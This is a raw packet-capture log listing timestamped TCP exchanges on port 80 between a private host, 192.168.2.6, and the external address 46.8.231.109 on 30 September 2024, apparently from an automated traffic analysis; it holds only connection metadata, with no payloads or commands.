Sep 30, 2024 13:59:50.267894030 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.267935038 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268001080 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268013954 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268024921 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268035889 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268040895 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268055916 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268059969 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268068075 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268086910 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268093109 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268105030 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268114090 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268115044 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268141031 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268157005 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268326998 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268358946 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268368006 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268372059 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268389940 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268393993 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268402100 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268414021 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268424988 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268445015 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268588066 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268625975 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268641949 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268656015 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268667936 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268678904 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268692970 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268712997 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268722057 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268733025 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268743992 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268759012 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268778086 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268785000 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268789053 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268800974 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268811941 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.268831015 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268838882 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.268860102 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.269188881 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.269236088 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.269251108 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.269262075 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.269273043 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.269289970 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.269304037 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.269315004 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.269325972 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.269345999 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.269352913 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.269357920 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.269383907 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.269403934 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.269433975 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.269448042 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.269459009 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.269469023 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.269474983 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.269479990 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.269484997 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.269491911 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.269501925 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.269519091 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.269527912 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.269556999 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.270042896 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.270052910 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.270064116 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.270083904 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.270095110 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.270100117 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.270107031 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.270117998 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.270129919 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.270132065 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.270158052 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.270164967 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.270175934 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.270185947 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.270186901 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.270210981 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.270232916 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.272669077 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.272712946 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.272732019 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.272743940 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.272757053 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.272768974 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.272768974 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.272788048 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.272802114 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.272834063 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.272855997 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.272867918 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.272874117 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.272878885 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.272891045 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.272900105 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.272927046 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.272929907 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.272939920 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.272968054 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.272994041 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.353806973 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.353823900 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.353847027 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.353859901 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.353869915 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.353878021 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.353890896 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.353904963 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.353905916 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.353924036 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.353940964 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.353945017 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.353952885 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.353964090 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.353970051 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.353976965 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.353987932 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.353993893 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354026079 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354038000 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354048967 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354058981 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354069948 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354072094 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354106903 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354121923 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354134083 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354144096 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354156017 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354156971 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354166985 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354177952 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354191065 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354222059 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354259968 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354294062 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354305029 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354305983 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354334116 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354343891 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354391098 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354403019 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354429007 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354450941 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354665041 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354676962 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354686975 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354696989 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354705095 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354713917 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354718924 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354731083 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354737043 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354743958 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354753971 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354756117 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354764938 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354768991 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354778051 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354783058 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354789972 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354804039 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354815006 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354816914 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354830980 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354830980 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354842901 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354860067 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354861021 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354878902 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354887962 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354891062 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354902029 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354912043 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354912996 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354933977 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354942083 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354949951 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354959965 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354969025 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.354974031 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.354988098 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355010986 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355012894 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355024099 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355047941 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355061054 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355078936 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355089903 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355101109 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355112076 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355113983 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355127096 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355151892 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355204105 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355215073 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355225086 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355236053 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355242968 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355247021 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355258942 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355268955 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355269909 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355279922 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355293036 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355317116 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355467081 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355506897 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355578899 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355588913 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355600119 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355614901 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355617046 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355629921 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355638027 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355643988 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355662107 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355700016 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355701923 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355711937 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355722904 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355742931 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355750084 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355761051 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355763912 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355789900 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355815887 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355825901 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355837107 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355848074 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355869055 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355880022 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355886936 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355890989 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355901957 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355916977 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355936050 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.355956078 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355981112 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.355998039 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356020927 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356055021 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356065989 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356093884 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356101036 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356112003 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356125116 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356134892 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356149912 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356156111 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356163025 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356167078 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356178045 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356189013 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356199026 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356209040 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356219053 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356219053 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356231928 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356265068 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356265068 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356309891 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356319904 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356328964 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356339931 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356347084 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356358051 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356369972 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356388092 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356400967 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356411934 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356422901 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356432915 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356448889 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356472969 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356513023 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356523037 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356535912 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356545925 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356550932 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356556892 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356568098 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356573105 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356601954 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356674910 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356709957 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356739044 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356750011 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356760025 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356775045 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356775999 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.356794119 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.356818914 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447448969 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447484970 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447513103 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447531939 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447544098 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447556019 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447592974 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447592974 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447592974 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447602987 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447617054 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447629929 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447643042 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447652102 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447659969 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447671890 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447675943 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447702885 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447721958 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447726965 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447735071 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447751045 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447760105 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447762966 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447772026 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447793961 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447804928 CEST	80	49730	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:50.447808027 CEST	49730	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:50.447818041 CEST	80	49730	46.8.231.109	192.168.2.6
